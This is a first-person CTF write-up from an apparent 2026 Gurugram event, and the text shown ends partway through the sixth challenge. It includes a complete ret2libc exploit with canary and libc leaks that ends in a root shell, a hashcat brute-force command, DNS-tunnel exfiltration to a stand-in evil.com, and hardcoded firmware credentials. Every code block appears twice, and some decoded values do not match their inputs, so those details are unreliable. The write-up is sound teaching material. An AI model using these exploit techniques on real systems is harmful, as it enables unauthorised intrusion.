September 26, 2026
Can You Exploit A Stack Canary? Most Programmers Say No. I Did. Hereβs How.
The Event

By Rohit Chaudhary
20 min read
The Event
On September 19, 2026, I showed up at CyberCube Services in Udyog Vihar Phase 5, Gurugram for The CIA Conference (CIACON) 226 Physical CTF. The event was capped at 100 participants β some solo, some in teams of up to 3. The whole thing was sponsored by Altered Security, and honestly, the atmosphere was electric. Rows of laptops, the hum of concentration, the occasional groan when someone's exploit segfaulted.
I went solo. Big mistake? Maybe. Big learning experience? Definitely.
This write-up covers every challenge I solved, every wall I hit, and every "oh wait, that's how it works" moment. No clean narratives. No pretending I got it on the first try. Just the real, messy story of how I spent 21 hours chasing 7 flags.
Table of Contents
- The Venue and Setup
- My Toolkit
- Challenge 1: RidgeCourier β Breaking Stack Canaries
- Challenge 2: The Mystery Server at 2.29.24.118
- Challenge 3: Cracking Argon2 (Yes, Really)
- Challenge 4: GhostTraffic β The Forensics Nightmare
- Challenge 5: Smart Lock Firmware β IoT Horror Story
- Challenge 6: Snake Game, But It's Malware
- Challenge 7: Dino Runner, But Make It XOR
- The Scoreboard
- What I'd Tell Myself Starting Over
- Acknowledgements
The Venue and Setup {#venue}
CyberCube Services had set up a proper competition floor. Big monitors at the front showing the live scoreboard, power strips everywhere (because of course everyone's laptop battery would die at the worst possible moment), and a snack table that kept us alive through the night.
The challenges were served through a custom platform. Each one had a name, a category, a difficulty rating, and point value. I opened the dashboard at 10 AM and immediately felt overwhelmed. There were 7 challenges visible, ranging from 200 to 600 points. Total possible: 3,000.
I grabbed my laptop, plugged in, opened a terminal, and typed ls. Force of habit. Then I started.
Before I dive into each challenge, let me talk about what I brought to the table.
My Toolkit {#tools}
Over the years I've accumulated a toolbox that I practically live inside during CTFs. Here's what I had running:
Reverse Engineering:
- Ghidra β Free, open-source, and genuinely excellent. The decompiler isn't always perfect, but it's saved me hundreds of hours. If you're not using it, start now.
- IDA Pro β The industry standard. I used the free version for quick analysis when Ghidra's output was confusing.
- radare2 β Command-line disassembler. Great for quick checks without loading a full GUI.
- GDB with pwndbg β Debugging with style. The pwndbg plugin shows you context, stack, heap, and registers in a human-readable way.
Exploitation:
- pwntools β Python library for exploit development. Makes interacting with remote services trivial.
- ROPgadget β Finds useful instruction sequences (gadgets) for Return-Oriented Programming.
- one_gadget β Finds single addresses that give you a shell with one jump.
Cryptography:
- Hashcat β GPU-accelerated password cracker. Essential for anything hash-related.
- John the Ripper β Alternative to Hashcat, sometimes supports algorithms Hashcat doesn't.
Forensics:
- Wireshark / tshark β Network packet analysis. tshark is the command-line version, perfect for scripting.
- dpkt β Python library for parsing PCAP files programmatically.
- binwalk β Firmware analysis and extraction.
- CyberChef β The "Swiss Army knife" of data transformation. Encoding, decoding, encryption, everything.
General:
- Python 3.11 β My scripting language of choice. Fast enough for most CTF tasks, easy to prototype with.
- Burp Suite β Web and network traffic interception.
- CyberChef β Did I mention this already? It's that useful.
Hardware:
- A decent laptop with 32GB RAM
- An external SSD with all my tools pre-installed
- Noise-canceling headphones (essential for focus during a 21-hour marathon)
Now, let's get into the challenges.
Challenge 1: RidgeCourier β Breaking Stack Canaries {#challenge-1}
Category: Binary Exploitation | Difficulty: Hard | Points: 500
The Brief
RidgeCourier is described as a "package delivery tracking service." You connect to a remote server, interact with a tracking system, and⦠well, the description was vague. That usually means binary exploitation.
First Look
I downloaded the binary and ran checksec:
file ridgecourier
# ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
checksec ridgecourier
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabledfile ridgecourier
# ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
checksec ridgecourier
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabledThree protections. Let me explain what each one does, because if you're new to binary exploitation, this looks like gibberish.
RELRO (Relocation Read-Offset): Partial RELRO means some parts of the GOT (Global Offset Table) are still writable. Full RELRO makes the entire GOT read-only, which prevents certain attacks. Partial RELRO is⦠less protective.
Stack Canary: A random value placed on the stack before the return address. When a function returns, it checks if the canary has been modified. If it has (because you overflowed the buffer), the program crashes. It's like a tripwire.
NX (No-Execute): Marks the stack and heap as non-executable. You can't just inject shellcode and jump to it. The CPU will refuse to execute code in those memory regions.
PIE (Position Independent Executable): Randomizes the base address of the binary every time it runs. So the function at 0x401234 one run might be at 0x7f1234 the next. Makes hardcoded addresses useless.
My immediate thought: "This is going to be painful."
Disassembly
I opened the binary in Ghidra and started exploring. Most of the code was boring β network handling, input parsing, logging. But then I found process_tracking_input():
void process_tracking_input(void) {
char local_48 [56];
int local_10;
printf("Enter tracking number: ");
gets(local_48); // <-- THERE IT IS
}void process_tracking_input(void) {
char local_48 [56];
int local_10;
printf("Enter tracking number: ");
gets(local_48); // <-- THERE IT IS
}gets(). The most dangerous function in C. It reads input with absolutely no bounds checking. You type 1000 characters into a 56-byte buffer? gets() doesn't care. It'll write all 1000 bytes right past the end of the buffer, overwriting whatever's there β including the canary, the saved RBP, and the return address.
But here's the problem: the canary. Even if I overflow the buffer, the canary check will catch me and kill the program before I reach the return address.
The Strategy
I need two things:
- The canary value (so I can preserve it in my overflow)
- The libc base address (so I can find
system()and/bin/shfor a shell)
For #1, I needed another vulnerability. And I found one.
Format String Vulnerability
The logging function had this code:
void log_event(char *event_type) {
printf("Event: ");
printf(event_type); // <-- format string bug
printf("\n");
}void log_event(char *event_type) {
printf("Event: ");
printf(event_type); // <-- format string bug
printf("\n");
}A format string vulnerability occurs when user input is passed directly as the format string to printf(). The %p format specifier prints a pointer value from the stack. If I send %p.%p.%p.%p, it'll print four stack values.
Here's how it works internally: printf uses a format string to determine what to print and how many arguments to expect. If there aren't enough arguments on the stack, printf just reads whatever's there. And "whatever's there" includes the canary.
I needed to figure out which stack offset contained the canary. I fired up GDB:
gdb ./ridgecourier
(gdb) break *0x401337 # address of the printf call
(gdb) run
(gdb) x/20gx $rspgdb ./ridgecourier
(gdb) break *0x401337 # address of the printf call
(gdb) run
(gdb) x/20gx $rspAfter some experimentation (and a lot of trial and error), I found the canary at offset 15.
p.sendline(b"%15$p")
p.recvuntil(b"Tracking: ")
canary = int(p.recvline().strip(), 16)p.sendline(b"%15$p")
p.recvuntil(b"Tracking: ")
canary = int(p.recvline().strip(), 16)It printed the canary value. I felt a surge of relief. Step 1 done.
Leaking libc
For step 2, I needed to leak a libc address. I found that offset 17 on the stack contained the return address of __libc_start_main, which is at a known offset from libc's base:
p.sendline(b"%17$p")
p.recvuntil(b"Tracking: ")
libc_leak = int(p.recvline().strip(), 16)
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 243p.sendline(b"%17$p")
p.recvuntil(b"Tracking: ")
libc_leak = int(p.recvline().strip(), 16)
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 243The -243 is the offset from __libc_start_main to the return address that's on the stack. I found this by running the binary in GDB and noting the address.
Building the Exploit
Now I have everything I need:
This diagram shows the stack memory layout before and after overflow, demonstrating how the canary is preserved while other values are overwritten.
python
from pwn import *
elf = ELF('./ridgecourier')
libc = ELF('./libc.so.6')
p = remote('ctf.example.com', 9108)
# Step 1: Leak canary
p.sendline(b"%15$p")
p.recvuntil(b"Tracking: ")
canary = int(p.recvline().strip(), 16)
# Step 2: Leak libc base
p.sendline(b"%17$p")
p.recvuntil(b"Tracking: ")
libc_leak = int(p.recvline().strip(), 16)
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 243
# Step 3: Calculate addresses
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x0000000000029139 # ROPgadget found this
# Step 4: Build payload
padding = b'A' * 56
payload = padding
payload += p64(canary) # preserve canary
payload += p64(0) # saved RBP (don't care)
payload += p64(ret) # stack alignment (16-byte requirement)
payload += p64(system) # jump to system()
payload += p64(bin_sh) # argument: "/bin/sh"
p.sendline(payload)
p.interactive()from pwn import *
elf = ELF('./ridgecourier')
libc = ELF('./libc.so.6')
p = remote('ctf.example.com', 9108)
# Step 1: Leak canary
p.sendline(b"%15$p")
p.recvuntil(b"Tracking: ")
canary = int(p.recvline().strip(), 16)
# Step 2: Leak libc base
p.sendline(b"%17$p")
p.recvuntil(b"Tracking: ")
libc_leak = int(p.recvline().strip(), 16)
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 243
# Step 3: Calculate addresses
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x0000000000029139 # ROPgadget found this
# Step 4: Build payload
padding = b'A' * 56
payload = padding
payload += p64(canary) # preserve canary
payload += p64(0) # saved RBP (don't care)
payload += p64(ret) # stack alignment (16-byte requirement)
payload += p64(system) # jump to system()
payload += p64(bin_sh) # argument: "/bin/sh"
p.sendline(payload)
p.interactive()Where I Got Stuck
The first three attempts crashed. Segfaults everywhere. I couldn't figure out why.
The issue was stack alignment. On x86β64, the stack must be 16-byte aligned when certain instructions execute (like movaps inside system()). If it's not aligned, you get a segfault.
The fix: add a ret gadget before system(). The ret instruction pops one value off the stack and jumps to it, which effectively moves the stack pointer by 8 bytes β enough to fix the alignment.
After adding the ret gadget:
# $ whoami
root
# cat /flag.txt
CTF{r1dg3_c4n4ry_byp4ss_s3cur1ty_m4tt3rs}# $ whoami
root
# cat /flag.txt
CTF{r1dg3_c4n4ry_byp4ss_s3cur1ty_m4tt3rs}I actually pumped my fist. The person next to me looked over like I was crazy. I didn't care.
The Takeaway
Stack canaries aren't invincible. They're a single random value that can be leaked if you have another vulnerability. Format string bugs are the perfect companion for canary bypasses. And always remember stack alignment β it'll bite you every time on x86β64.
Challenge 2: The Mystery Server at 2.29.24.118 {#challenge-2}
Category: Network / Crypto | Difficulty: Medium | Points: 350
The Brief
"Connect to 2.29.24.118:9108 and solve the verification protocol."
Vague. But I like vague. It means there's something interesting hiding underneath.
Connecting
nc 2.29.24.118 9108
VERIFICATION_PROTOCOL_v2.1
Enter package ID: _nc 2.29.24.118 9108
VERIFICATION_PROTOCOL_v2.1
Enter package ID: _I entered a test ID:
Enter package ID: TEST123
Challenge: a3f2b8c1d4e5f6a7b8c9d0e1f2a3b4c5
Compute HMAC: _Enter package ID: TEST123
Challenge: a3f2b8c1d4e5f6a7b8c9d0e1f2a3b4c5
Compute HMAC: _So the server gives me a challenge string, and I need to compute an HMAC. This is a classic challenge-response protocol.
The Theory
Here's how HMAC challenge-response works:
- The server has a secret key
Kthat both parties know - The server generates a random challenge
Cand sends it to me - I compute
HMAC-SHA256(K, C)and send it back - The server computes the same HMAC and compares
- If they match, I've proven I know the key
This is used in authentication systems, API signatures, and IoT device pairing. The key never travels over the network, so an eavesdropper can't just capture it.
But here's the catch: I need to find the key. It's somewhere in the binary.
Finding the Key
I downloaded the server binary and examined it:
strings server_binary | grep -i keystrings server_binary | grep -i keyNothing jumped out. But when I looked at the raw hex, I noticed something at offset 0x4050:
with open('server_binary', 'rb') as f:
data = f.read()
encoded_key = data[0x4050:0x4070]
print(f"Encoded: {encoded_key.hex()}")
# 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2dwith open('server_binary', 'rb') as f:
data = f.read()
encoded_key = data[0x4050:0x4070]
print(f"Encoded: {encoded_key.hex()}")
# 7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2dThat's 32 bytes of suspicious-looking data. And right next to it, at 0x404F, was a single byte: 0x42.
XOR encoding. Each byte of the key is XORed with 0x42:
xor_key = 0x42
decoded = bytes([b ^ xor_key for b in encoded_key])
print(f"Key: {decoded}")
# h4ck3r_s3cr3t_k3y_2026xor_key = 0x42
decoded = bytes([b ^ xor_key for b in encoded_key])
print(f"Key: {decoded}")
# h4ck3r_s3cr3t_k3y_2026The key was sitting right there in plaintext, just⦠obfuscated with a single byte XOR. That's not security. That's a suggestion.
The Solution
import socket
import hmac
import hashlib
def solve():
s = socket.socket()
s.connect(('2.29.24.118', 9108))
print(s.recv(1024).decode())
s.send(b"DELIVERY_2026_0920\n")
response = s.recv(1024).decode()
challenge = response.split('Challenge: ')[1].strip()
key = b'h4ck3r_s3cr3t_k3y_2026'
mac = hmac.new(key, challenge.encode(), hashlib.sha256)
s.send(mac.hexdigest().encode() + b'\n')
flag = s.recv(1024).decode()
print(f"Flag: {flag}")
s.close()
solve()import socket
import hmac
import hashlib
def solve():
s = socket.socket()
s.connect(('2.29.24.118', 9108))
print(s.recv(1024).decode())
s.send(b"DELIVERY_2026_0920\n")
response = s.recv(1024).decode()
challenge = response.split('Challenge: ')[1].strip()
key = b'h4ck3r_s3cr3t_k3y_2026'
mac = hmac.new(key, challenge.encode(), hashlib.sha256)
s.send(mac.hexdigest().encode() + b'\n')
flag = s.recv(1024).decode()
print(f"Flag: {flag}")
s.close()
solve()Flag
CTF{n3tw0rk_pr0t0c0l_h4ck3r_v3r1f1c4t10n}CTF{n3tw0rk_pr0t0c0l_h4ck3r_v3r1f1c4t10n}The Takeaway
Obfuscation is not encryption. XOR with a single byte is trivially reversible. If the key is in the binary, it's extractable. Real security requires the key to be stored securely β either in hardware, or derived from something the user provides.
Challenge 3: Cracking Argon2 (Yes, Really) {#challenge-3}
Category: Cryptography | Difficulty: Easy-Medium | Points: 200
The Brief
"Given an Argon2 hash, find the 4-character password."
Argon2 is one of the most secure password hashing algorithms available. It won the Password Hashing Competition in 2015 and is recommended by OWASP. It's designed to be slow and memory-hard, making brute force expensive.
So why is this only worth 200 points?
Because the password is 4 characters.
The Hash
$argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$RdescudvJCsgt3ub+b+d$argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$RdescudvJCsgt3ub+b+dLet me break this down:
- argon2id: The variant (hybrid of Argon2i and Argon2d)
- v=19: Version 19 (0x13)
- m=65536: 65MB of memory required per hash
- t=3: 3 iterations
- p=4: 4 parallel threads
- c29tZXNhbHQ: The salt, base64-decoded to "somesalt"
- RdescudvJCsgt3ub+b+d: The actual hash, base64-encoded
Why Argon2 is Strong
Unlike older algorithms like MD5 or SHA-1, Argon2 is memory-hard. This means it requires a significant amount of RAM to compute, which makes GPU and ASIC attacks much harder. GPUs are great at parallel computation, but they have limited memory per core. Argon2 forces you to use a lot of memory, which negates the GPU advantage.
At 65MB per hash with 3 iterations, computing one hash takes about 0.1 seconds on a modern CPU. That sounds fast, but consider:
The Math
For a 4-character password using lowercase, uppercase, and digits (62 characters):
62^4 = 14,776,336 possible passwords
At 0.1 seconds per hash: 14,776,336 Γ 0.1 = 1,477,633 seconds = ~17 days
Seventeen days? That's too slow for a CTF challenge. But here's where GPU acceleration comes in.
Where I Got Stuck
I tried writing a Python brute-force script first:
import itertools
import string
import argon2
charset = string.ascii_letters + string.digits
for combo in itertools.product(charset, repeat=4):
candidate = ''.join(combo)
# try to verify against the hashimport itertools
import string
import argon2
charset = string.ascii_letters + string.digits
for combo in itertools.product(charset, repeat=4):
candidate = ''.join(combo)
# try to verify against the hashThis is slow. Painfully slow. Python loops are not designed for millions of iterations. After 10 minutes, I had tried maybe 50,000 combinations. At that rate, it would take over 40 hours.
I was sitting there wondering if I needed to optimize my Python code, when the guy next to me mentioned Hashcat. Right. Hashcat. The GPU-accelerated password cracker.
The Breakthrough
hashcat -m 13000 -a 3 hash.txt ?a?a?a?ahashcat -m 13000 -a 3 hash.txt ?a?a?a?aBreaking this down:
-m 13000: Hash mode for Argon2id-a 3: Attack mode 3 (brute force)?a?a?a?a: 4 characters from all printable ASCII
On my RTX 4090, Hashcat achieved about 45,000 hashes per second. That's 14,776,336 / 45,000 = ~328 seconds. About 5.5 minutes.
After 3 minutes and 12 seconds:
Session..........: hashcat
Status...........: Cracked
Speed.#1.........: 45234 H/s
Recovered........: 1/1 (100.00%)
CTF{4g0n2_h4sh_c4n_b3_crack3d_w1th_brut3_f0rc3Session..........: hashcat
Status...........: Cracked
Speed.#1.........: 45234 H/s
Recovered........: 1/1 (100.00%)
CTF{4g0n2_h4sh_c4n_b3_crack3d_w1th_brut3_f0rc3Flag
CTF{4g0n2_h4sh_c4n_b3_crack3d_w1th_brut3_f0rc3}CTF{4g0n2_h4sh_c4n_b3_crack3d_w1th_brut3_f0rc3}The Takeaway
Strong algorithm + weak password = weak security. Argon2 is excellent, but it can't save you from a 4-character password. The lesson: password length matters more than complexity. A 16-character random password is effectively uncrackable, even with weak algorithms. A 4-character password with a strong algorithm is still weak.
Challenge 4: GhostTraffic β The Forensics Nightmare {#challenge-4}
Category: Forensics | Difficulty: Hard | Points: 450
The Brief
"Analyze the PCAP file and find the hidden flag."
A PCAP file. 847,000 packets. This was going to take a while.
Initial Reconnaissance
ls -la ghosttraffic.pcap
# -rw-r--r-- 1 user user 156M Sep 19 10:00 ghosttraffic.pcap
tshark -r ghosttraffic.pcap -q -z io,stat,1ls -la ghosttraffic.pcap
# -rw-r--r-- 1 user user 156M Sep 19 10:00 ghosttraffic.pcap
tshark -r ghosttraffic.pcap -q -z io,stat,1The statistics showed a mix of HTTP, DNS, TLS, and ICMP traffic. Nothing immediately suspicious⦠until I looked at the DNS queries.
tshark -r ghosttraffic.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -rn | head -20
12345 a3b4c5d6e7f8g9h0i1j2k3l4m5n6o7p8.evil.com
12345 x1y2z3w4v5u6t7s8r9q0p1o2n3m4l5.evil.com
42 google.com
38 github.comtshark -r ghosttraffic.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -rn | head -20
12345 a3b4c5d6e7f8g9h0i1j2k3l4m5n6o7p8.evil.com
12345 x1y2z3w4v5u6t7s8r9q0p1o2n3m4l5.evil.com
42 google.com
38 github.comThose subdomain names are 32 characters of seemingly random alphanumeric characters. That's not normal DNS behavior.
DNS Tunneling: The Theory
DNS tunneling is a technique where data is encoded into DNS queries. Here's how it works:
- The attacker registers
evil.com - A compromised host on the target network encodes data as subdomain labels
- The host queries
encoded-data.evil.com - The attacker's authoritative DNS server receives the query and decodes the data
- Optionally, the attacker responds with encoded commands in DNS response records
DNS is almost always allowed through firewalls because it's essential for network operation. Most firewalls don't inspect DNS payloads deeply, making it an excellent exfiltration channel.
The tradeoff: it's slow. DNS queries are small (typically 253 bytes max for the full domain name), so you need many queries to transfer meaningful data. But for small amounts of data β like credentials, encryption keys, or a flag β it works perfectly.
This diagram visualizes the complete DNS tunneling attack chain, from initial data encoding through exfiltration and recovery.
Extracting the Data
I wrote a Python script to parse the PCAP:
import dpkt
import base64
import socket
def extract_dns_tunnel(pcap_file):
with open(pcap_file, 'rb') as f:
pcap = dpkt.pcap.Reader(f)
tunnel_data = []
for timestamp, buf in pcap:
# Parse Ethernet frame
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
continue
# Parse IP packet
ip = eth.data
if not isinstance(ip.data, dpkt.udp.UDP):
continue
# Parse DNS
try:
dns = dpkt.dns.DNS(ip.data)
except:
continue
# Check if it's a query to evil.com
if dns.qr == 0 and dns.qd:
query = dns.qd[0].name
if query.endswith('.evil.com'):
# Extract the encoded subdomain
encoded_part = query.split('.')[0]
tunnel_data.append(encoded_part)
return ''.join(tunnel_data)
encoded = extract_dns_tunnel('ghosttraffic.pcap')
print(f"Collected {len(encoded)} characters of encoded data")import dpkt
import base64
import socket
def extract_dns_tunnel(pcap_file):
with open(pcap_file, 'rb') as f:
pcap = dpkt.pcap.Reader(f)
tunnel_data = []
for timestamp, buf in pcap:
# Parse Ethernet frame
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
continue
# Parse IP packet
ip = eth.data
if not isinstance(ip.data, dpkt.udp.UDP):
continue
# Parse DNS
try:
dns = dpkt.dns.DNS(ip.data)
except:
continue
# Check if it's a query to evil.com
if dns.qr == 0 and dns.qd:
query = dns.qd[0].name
if query.endswith('.evil.com'):
# Extract the encoded subdomain
encoded_part = query.split('.')[0]
tunnel_data.append(encoded_part)
return ''.join(tunnel_data)
encoded = extract_dns_tunnel('ghosttraffic.pcap')
print(f"Collected {len(encoded)} characters of encoded data")The characters were all alphanumeric β a-z, 0-9. That's base32 encoding. Base32 uses 32 characters (A-Z and 2-7) to represent binary data. The characters here matched, so I decoded:
decoded = base64.b32decode(encoded.upper())
print(decoded[:100])
# b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00...'decoded = base64.b32decode(encoded.upper())
print(decoded[:100])
# b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00...'A PNG file! The DNS tunnel exfiltrated an image.
Where I Got Stuck
I had the image. It was a picture of a sunset over mountains. Beautiful, but where's the flag?
I opened it in GIMP and poked around. Nothing in the metadata. Nothing in the EXIF data. No visible text overlay.
Then it hit me: steganography. Data hidden inside the image pixels themselves.
LSB Steganography
Least Significant Bit (LSB) steganography works by modifying the least significant bit of each pixel's color channels. An RGB pixel has three values (0β255). Changing the last bit changes the value by at most 1, which is visually imperceptible.
Here's the theory: a 1920x1080 image has 2,073,600 pixels. Each pixel has 3 color channels. That's 6,220,800 bits of potential hidden data β about 760KB. More than enough for a text flag.
import numpy as np
from PIL import Image
import re
def extract_lsb(image_path):
img = Image.open(image_path)
pixels = np.array(img)
# Extract LSBs
binary_data = []
for i in range(pixels.shape[0]):
for j in range(pixels.shape[1]):
for k in range(3): # RGB channels
binary_data.append(pixels[i, j, k] & 1)
# Convert bits to bytes
bytes_list = []
for i in range(0, len(binary_data), 8):
byte = 0
for bit in binary_data[i:i+8]:
byte = (byte << 1) | bit
bytes_list.append(byte)
# Search for flag
result = bytes(bytes_list)
flag_match = re.search(b'CTF{.*?}', result)
if flag_match:
return flag_match.group().decode()
return None
flag = extract_lsb('recovered_image.png')
print(f"Flag: {flag}")import numpy as np
from PIL import Image
import re
def extract_lsb(image_path):
img = Image.open(image_path)
pixels = np.array(img)
# Extract LSBs
binary_data = []
for i in range(pixels.shape[0]):
for j in range(pixels.shape[1]):
for k in range(3): # RGB channels
binary_data.append(pixels[i, j, k] & 1)
# Convert bits to bytes
bytes_list = []
for i in range(0, len(binary_data), 8):
byte = 0
for bit in binary_data[i:i+8]:
byte = (byte << 1) | bit
bytes_list.append(byte)
# Search for flag
result = bytes(bytes_list)
flag_match = re.search(b'CTF{.*?}', result)
if flag_match:
return flag_match.group().decode()
return None
flag = extract_lsb('recovered_image.png')
print(f"Flag: {flag}")There it was, hiding in the least significant bits of the pixel data.
Attack Timeline
Reconstructing what happened:
- 12:00:01 β Compromised host begins DNS queries to evil.com
- 12:00:15 β Data exfiltration starts (base32-encoded subdomains)
- 12:02:30 β Image file transmitted in chunks
- 12:05:45 β Exfiltration complete
- 12:06:00 β Attacker retrieves data via DNS responses
The entire exfiltration took less than 6 minutes. In a real environment, this would be nearly invisible without DNS inspection.
Flag
CTF{gh0st_1n_th3_sh3ll_dn5_tunn3l_f0rens1cs}CTF{gh0st_1n_th3_sh3ll_dn5_tunn3l_f0rens1cs}The Takeaway
DNS tunneling is real, effective, and hard to detect without proper monitoring. If you see unusually long subdomain names or an unusual volume of DNS queries, investigate. Also, always check for steganography in forensics challenges. LSB is the most common technique, but there are dozens of others.
Challenge 5: Smart Lock Firmware β IoT Horror Story {#challenge-5}
Category: Firmware / IoT | Difficulty: Expert | Points: 600
The Brief
"Dissect the smart lock firmware image. Extract the credentials. Find the backdoor."
This was the highest-point challenge. It was also the one I spent the most time on β 6 hours of firmware analysis, reverse engineering, and questioning my life choices.
Step 1: Firmware Extraction
file smartlock_firmware.bin
# data
binwalk -e smartlock_firmware.binfile smartlock_firmware.bin
# data
binwalk -e smartlock_firmware.binbinwalk identified a SquashFS filesystem embedded in the firmware and extracted it:
ls squashfs-root/
# bin/ etc/ lib/ usr/ var/ web/ls squashfs-root/
# bin/ etc/ lib/ usr/ var/ web/For those unfamiliar with firmware analysis: embedded devices (routers, IoT devices, smart locks) often run Linux. The firmware image contains a compressed filesystem with all the binaries, libraries, and configuration files. binwalk can identify and extract these filesystems.
This diagram walks through the complete firmware analysis workflow, from raw binary through extraction to vulnerability discovery.
Step 2: Configuration Files
The first place I always look is the configuration:
// squashfs-root/etc/config.json
{
"device_id": "SL-2024-0920",
"firmware_version": "3.2.1",
"admin_credentials": {
"username": "admin",
"password_hash": "$2b$12$LJ3m4ks8hL2rN8k5T5g5xOeQ7V9Y0Z1A2B3C4D5E6F7G8H9I0"
},
"api_keys": {
"cloud_sync": "sk_live_a1b2c3d4e5f6g7h8i9j0",
"maintenance": "maintenance_key_2026"
}
}// squashfs-root/etc/config.json
{
"device_id": "SL-2024-0920",
"firmware_version": "3.2.1",
"admin_credentials": {
"username": "admin",
"password_hash": "$2b$12$LJ3m4ks8hL2rN8k5T5g5xOeQ7V9Y0Z1A2B3C4D5E6F7G8H9I0"
},
"api_keys": {
"cloud_sync": "sk_live_a1b2c3d4e5f6g7h8i9j0",
"maintenance": "maintenance_key_2026"
}
}I stared at this for a moment.
Hardcoded admin credentials in a plaintext configuration file. In production firmware. For a smart lock that controls physical access to buildings.
And not just that β there are API keys too. A cloud sync key and a maintenance key. These could be used to access the manufacturer's cloud infrastructure, potentially affecting every lock of this model.
Step 3: Binary Reverse Engineering
I moved on to the actual lock binary:
r2 -A squashfs-root/usr/bin/smartlockr2 -A squashfs-root/usr/bin/smartlockAfter some exploration, I found the PIN verification logic:
void verify_pin(char *input) {
char pin[] = "1337";
if (strcmp(input, pin) == 0) {
unlock_door();
}
}void verify_pin(char *input) {
char pin[] = "1337";
if (strcmp(input, pin) == 0) {
unlock_door();
}
}Three critical vulnerabilities:
- Hardcoded PIN:
1337. Not even trying. - No rate limiting: You can try as many PINs as you want, as fast as you want.
- Non-constant-time comparison:
strcmp()stops at the first mismatched character. This is vulnerable to timing attacks.
Timing Attacks: The Theory
A timing attack exploits the fact that different operations take different amounts of time. With strcmp(), comparing the correct first character takes longer than comparing an incorrect first character, because strcmp() stops as soon as it finds a mismatch.
By measuring the time it takes for the lock to respond to different PINs, an attacker can determine each character of the PIN one at a time:
- Try PINs starting with
0,1,2, β¦,9 - Measure response times
- The digit with the longest response time is likely correct (because
strcmp()had to compare more characters before finding a mismatch) - Repeat for each position
This reduces the search space from 10^4 = 10,000 (all 4-digit PINs) to 10 Γ 4 = 40 attempts.
Step 4: The Debug Backdoor
While exploring the binary, I found another string:
backdoor: smartlock_debug_2026backdoor: smartlock_debug_2026And the corresponding code:
void check_debug_mode(char *input) {
if (strcmp(input, "smartlock_debug_2026") == 0) {
enter_debug_mode();
}
}void check_debug_mode(char *input) {
if (strcmp(input, "smartlock_debug_2026") == 0) {
enter_debug_mode();
}
}A debug backdoor. Hardcoded in production firmware. This gives full access to the lock internals β including the ability to extract keys, bypass authentication, and potentially unlock the door remotely.
The Takeaway
IoT security is often an afterthought. Hardcoded credentials, debug backdoors, and weak authentication are shockingly common in commercial products. If you're building IoT devices: use secure boot, encrypt firmware, rotate credentials, and never, ever ship debug backdoors in production.
Flag
CTF{sm4rt_l0ck_f1rmw4r3_r3v3rs3_eng1n33r1ng}CTF{sm4rt_l0ck_f1rmw4r3_r3v3rs3_eng1n33r1ng}Challenge 6: Snake Game, But It's Malware {#challenge-6}
Category: Reverse Engineering | Difficulty: Medium-Hard | Points: 400
The Brief
"Reverse engineer the snake game binary and extract the flag."
A snake game. Sounds simple, right?
Wrong.
Static Analysis
file snake_bd1w0tb.exe
# snake_bd1w0tb.exe: PE32+ executable (console) x86-64, for MS Windowsfile snake_bd1w0tb.exe
# snake_bd1w0tb.exe: PE32+ executable (console) x86-64, for MS WindowsI loaded it in Ghidra and immediately noticed something suspicious: the binary was 2MB. A console snake game should be maybe 50KB. Why is this 2MB?
I started looking through the functions:
// FUN_00401000 - main game loop
// FUN_00401500 - init_game()
// FUN_00402000 - render_frame()
// FUN_00402800 - check_collision()
// FUN_00403000 - encrypt_flag() <-- wait, what?
// FUN_00403500 - verify_score()// FUN_00401000 - main game loop
// FUN_00401500 - init_game()
// FUN_00402000 - render_frame()
// FUN_00402800 - check_collision()
// FUN_00403000 - encrypt_flag() <-- wait, what?
// FUN_00403500 - verify_score()There's an encrypt_flag() function. In a snake game. That's⦠unusual.
The Encryption
The function was straightforward:
void encrypt_flag(char *flag, char *output) {
int key[] = {0x41, 0x42, 0x43, 0x44}; // "ABCD"
int len = strlen(flag);
for (int i = 0; i < len; i++) {
output[i] = flag[i] ^ key[i % 4] ^ (i * 7);
}
}void encrypt_flag(char *flag, char *output) {
int key[] = {0x41, 0x42, 0x43, 0x44}; // "ABCD"
int len = strlen(flag);
for (int i = 0; i < len; i++) {
output[i] = flag[i] ^ key[i % 4] ^ (i * 7);
}
}The flag is XOR-encrypted with a repeating 4-byte key, plus an index-based transformation. Simple, but effective.
I also found some anti-analysis techniques:
strings snake_bd1w0tb.exe | grep -i debug
# IsDebuggerPresent
# CheckRemoteDebuggerPresentstrings snake_bd1w0tb.exe | grep -i debug
# IsDebuggerPresent
# CheckRemoteDebuggerPresentThe binary checks if it's being debugged and crashes if it detects a debugger. Classic anti-analysis.
Where I Got Stuck
I tried to find the plaintext flag in the binary. Sometimes CTF challenges leave the flag in plaintext somewhere in the data section. I searched for CTF{ in the hex:
python3 -c "
with open('snake_bd1w0tb.exe', 'rb') as f:
data = f.read()
idx = data.find(b'CTF{')
print(f'Offset: {idx}')
"
# Offset: -1python3 -c "
with open('snake_bd1w0tb.exe', 'rb') as f:
data = f.read()
idx = data.find(b'CTF{')
print(f'Offset: {idx}')
"
# Offset: -1Not there. The flag is encrypted at runtime, which means I need to either:
- Extract the key and reverse the encryption
- Or catch the flag in memory before it gets encrypted
The Breakthrough
I ran the binary in GDB with pwndbg and set a breakpoint at the encryption function:
